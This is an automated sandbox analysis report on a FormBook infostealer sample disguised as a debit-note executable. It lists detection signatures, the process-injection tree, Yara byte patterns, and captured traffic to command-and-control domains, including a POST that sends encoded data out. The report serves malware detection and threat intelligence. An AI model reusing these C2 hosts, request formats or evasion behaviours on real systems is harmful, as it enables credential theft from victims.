Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
DEBIT NOTE 01ST SEP 2024.exe

Overview

General Information

Sample name:DEBIT NOTE 01ST SEP 2024.exe
Analysis ID:1513858
MD5:2ee34a406a8317793492eec957b463a1
SHA1:ed16a24270a4d161f71512bb7e6fbf32187ab0ee
SHA256:ce9c1b9af59f8c865bac45a1772d8900f49b42f0b15a6ab0eacf9df4fb621604
Tags:exe
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • DEBIT NOTE 01ST SEP 2024.exe (PID: 3192 cmdline: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe" MD5: 2EE34A406A8317793492EEC957B463A1)
    • svchost.exe (PID: 3608 cmdline: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • WrtyZOtiIHMYio.exe (PID: 5956 cmdline: "C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • TapiUnattend.exe (PID: 2500 cmdline: "C:\Windows\SysWOW64\TapiUnattend.exe" MD5: D5BFFD755F566AAACB57CF83FDAA5CD0)
          • WrtyZOtiIHMYio.exe (PID: 932 cmdline: "C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 5700 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2c1a0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x1420f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2c1a0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x1420f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      00000001.00000002.2071483262.0000000006000000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 11 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        1.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          1.2.svchost.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2e5e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x16652:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          1.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            1.2.svchost.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2f3e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x17452:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe", CommandLine: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe", CommandLine|base64offset|contains: 4, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe", ParentImage: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe, ParentProcessId: 3192, ParentProcessName: DEBIT NOTE 01ST SEP 2024.exe, ProcessCommandLine: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe", ProcessId: 3608, ProcessName: svchost.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe", CommandLine: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe", CommandLine|base64offset|contains: 4, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe", ParentImage: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe, ParentProcessId: 3192, ParentProcessName: DEBIT NOTE 01ST SEP 2024.exe, ProcessCommandLine: "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe", ProcessId: 3608, ProcessName: svchost.exe

            Suricata Signatures

            ⊘No Suricata rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Multi AV Scanner detection for submitted file
            Source: DEBIT NOTE 01ST SEP 2024.exeReversingLabs: Detection: 55%
            Yara detected FormBook
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2071483262.0000000006000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3518738076.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3518593623.00000000041E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.3520663575.0000000004BE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2070755438.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3517293511.0000000002690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for sample
            Source: DEBIT NOTE 01ST SEP 2024.exeJoe Sandbox ML: detected
            Source: DEBIT NOTE 01ST SEP 2024.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: Binary string: TapiUnattend.pdbGCTL source: svchost.exe, 00000001.00000002.2070950140.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2070968293.0000000003619000.00000004.00000020.00020000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000005.00000002.3518333418.00000000009D8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: WrtyZOtiIHMYio.exe, 00000005.00000002.3518004096.000000000068E000.00000002.00000001.01000000.00000005.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3518024586.000000000068E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1672645397.0000000004950000.00000004.00001000.00020000.00000000.sdmp, DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1670993064.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978096326.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2071129850.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976259001.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2071129850.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3519157283.0000000002EF0000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3519157283.000000000308E000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000003.2095202012.0000000002D47000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000003.2087806876.0000000002B9D000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1672645397.0000000004950000.00000004.00001000.00020000.00000000.sdmp, DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1670993064.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1978096326.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2071129850.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976259001.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2071129850.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, TapiUnattend.exe, 00000006.00000002.3519157283.0000000002EF0000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3519157283.000000000308E000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000003.2095202012.0000000002D47000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000003.2087806876.0000000002B9D000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: TapiUnattend.exe, 00000006.00000002.3519849797.000000000351C000.00000004.10000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3517555982.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.00000000027AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2388939952.00000000347AC000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: TapiUnattend.exe, 00000006.00000002.3519849797.000000000351C000.00000004.10000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3517555982.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.00000000027AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2388939952.00000000347AC000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: TapiUnattend.pdb source: svchost.exe, 00000001.00000002.2070950140.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2070968293.0000000003619000.00000004.00000020.00020000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000005.00000002.3518333418.00000000009D8000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452492
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442886
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_004788BD
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,0_2_004339B6
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,0_2_0045CAFA
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00431A86
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD27
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0045DE8F FindFirstFileW,FindClose,0_2_0045DE8F
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8B
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026AC5F0 FindFirstFileW,FindNextFileW,FindClose,6_2_026AC5F0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 4x nop then xor eax, eax6_2_02699BB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 4x nop then mov ebx, 00000004h6_2_02D304E3
            Source: Joe Sandbox ViewIP Address: 136.143.186.12 136.143.186.12
            Source: Joe Sandbox ViewIP Address: 199.192.21.169 199.192.21.169
            Source: Joe Sandbox ViewIP Address: 3.33.130.190 3.33.130.190
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004422FE InternetQueryDataAvailable,InternetReadFile,0_2_004422FE
            Source: global trafficHTTP traffic detected: GET /lpl9/?Xf=4Zt4tvDx&GR=e8lWkFdpBI8fMqvrlwy/onG3BcZVz7zQmYaHg/xvgOUuLw6B3kGtYYWM8/CK9QzH2IDr1kJuLXtu8i/nZF8LLdKb2VMPvKTLf5QxvZUWo2Nd+FhaQzJMI4o= HTTP/1.1Host: www.aaavvejibej.bondAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /30jd/?GR=OtDeNxpSfKodwTIu4nnA+ux6enUP6PpldrB0PRj1l4+Fh7wLXn4C+U6iIOCzG6zWS3UsP4q8AKFA04SbUzJ+fbd5Tc1EuJbYoHYXowwdmRoBcyVO6/LzqMo=&Xf=4Zt4tvDx HTTP/1.1Host: www.whats-in-the-box.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /4hiy/?Xf=4Zt4tvDx&GR=x7+2I8SGsUecCMiSjTFbl5lp6Hdc+2w1VtibsJt/MsyL3kCUaBIR7/SGJ6EjRkH0LM2kKQMRMq/OnwKr8gWiX4rGIBeWvoECrZmU86sauZftBWicToOcLZk= HTTP/1.1Host: www.weatherbook.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /jvjp/?GR=4b5MqvIelA8yeSWKDPRIdHesNV5XUrpBTJ6STZ7OqVlET0aP4dQGxyJ8Yal1yomp/rzgkCoCCWVuqR9lxGRqCv57Hh5Ivk5Sj0mDZDuer/ujvu4zkb6QZi8=&Xf=4Zt4tvDx HTTP/1.1Host: www.crowsecurity.cloudAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /p8sm/?GR=gudxXcfIjfM6RSgjlHSXwEEWc2+zEXg0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjubt2jusNNuut2QLx2iafcYqdrxcPN6iJJGks=&Xf=4Zt4tvDx HTTP/1.1Host: www.inspireplay.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /p8sm/?GR=gudxXcfIjfM6RSgjlHSXwEEWc2+zEXg0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjubt2jusNNuut2QLx2iafcYqdrxcPN6iJJGks=&Xf=4Zt4tvDx HTTP/1.1Host: www.inspireplay.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /p8sm/?GR=gudxXcfIjfM6RSgjlHSXwEEWc2+zEXg0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjubt2jusNNuut2QLx2iafcYqdrxcPN6iJJGks=&Xf=4Zt4tvDx HTTP/1.1Host: www.inspireplay.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /p2q3/?GR=FK2L+8PIei1GuvtlS8gCO8fM4ZQmscEbBI34s0k1PsRmujAOjfMM4GbCZxnV6srYixPIeZB0oPqoKkF830AnIDgf70T/wPSZ3Q0Y3Iy42KJKjy26SpAoBvI=&Xf=4Zt4tvDx HTTP/1.1Host: www.shanhaiguan.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /ivo1/?GR=fL7FGqwZgFyeKETJ58v2LpmodVM6vZtD0XO9xnYIy5nXxzuHXVLl0+u5SqQtPDeu0FT/+Cn/ojl8jT3mUhnhpKNreTIBn1GsPPCO7XuNhO+zSMbYdoB0rmQ=&Xf=4Zt4tvDx HTTP/1.1Host: www.lanxuanz.techAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /85su/?GR=+3B6fjGs9Z40sbhWxh4Olw8ODpxTfKIF4isjbFYKdetJPWg+iKgIwujGEU5yKjzj4BkeFS8xvi4EjdbOtsLgFdPJH1ajNMdDlKenjZRhD3fwrVi0trMy8bo=&Xf=4Zt4tvDx HTTP/1.1Host: www.selftip.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
            Source: global trafficDNS traffic detected: DNS query: www.aaavvejibej.bond
            Source: global trafficDNS traffic detected: DNS query: www.whats-in-the-box.org
            Source: global trafficDNS traffic detected: DNS query: www.weatherbook.live
            Source: global trafficDNS traffic detected: DNS query: www.crowsecurity.cloud
            Source: global trafficDNS traffic detected: DNS query: www.inspireplay.live
            Source: global trafficDNS traffic detected: DNS query: www.shanhaiguan.net
            Source: global trafficDNS traffic detected: DNS query: www.lanxuanz.tech
            Source: global trafficDNS traffic detected: DNS query: www.selftip.top
            Source: unknownHTTP traffic detected: POST /30jd/ HTTP/1.1Host: www.whats-in-the-box.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-usAccept-Encoding: gzip, deflateOrigin: http://www.whats-in-the-box.orgContent-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheContent-Length: 199Referer: http://www.whats-in-the-box.org/30jd/User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Data Raw: 47 52 3d 44 76 72 2b 4f 48 70 57 51 62 73 38 37 68 49 79 6a 33 33 43 37 66 5a 46 52 48 55 35 77 50 39 4b 56 72 4d 64 43 68 4b 39 75 35 2b 69 75 65 55 38 4e 32 45 6c 6f 48 7a 56 64 64 57 47 45 70 69 50 4e 41 68 53 50 34 4f 30 55 4c 39 35 79 34 47 76 63 79 4e 65 65 36 6f 64 53 4c 70 55 6d 76 50 48 78 30 77 76 76 69 59 39 75 51 49 59 63 44 6f 6f 31 73 62 63 32 39 51 65 50 58 6f 2b 58 71 48 37 79 79 73 4a 64 32 70 36 4d 65 64 34 68 2b 39 35 77 6b 38 70 45 46 6a 53 76 57 6e 66 53 4c 47 35 65 4f 43 4e 59 2f 50 76 69 53 4c 39 64 43 6a 30 66 61 46 57 61 4f 64 78 70 46 7a 4d 4e 54 6c 67 73 67 3d 3d Data Ascii: GR=Dvr+OHpWQbs87hIyj33C7fZFRHU5wP9KVrMdChK9u5+iueU8N2EloHzVddWGEpiPNAhSP4O0UL95y4GvcyNee6odSLpUmvPHx0wvviY9uQIYcDoo1sbc29QePXo+XqH7yysJd2p6Med4h+95wk8pEFjSvWnfSLG5eOCNY/PviSL9dCj0faFWaOdxpFzMNTlgsg==
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 19 Sep 2024 13:04:17 GMTContent-Type: text/plain; charset=UTF-8Content-Length: 16Connection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tdwxo352I9KH2eE6akNKkTXJnUqwh5Z6TheY1qFEaPwU14AaoBFGZjc9IrboA8x6wmUEcxliuW5Xl1At9I2M4c%2BRpe%2F2gAzPZphfA4HvjbxSwfDuBuGvz9XRWlk0vAqZ8bYV%2B9l%2BnQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c59c7dec80d8cc0-EWRalt-svc: h3=":443"; ma=86400Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 31 30 31 30 Data Ascii: error code: 1010
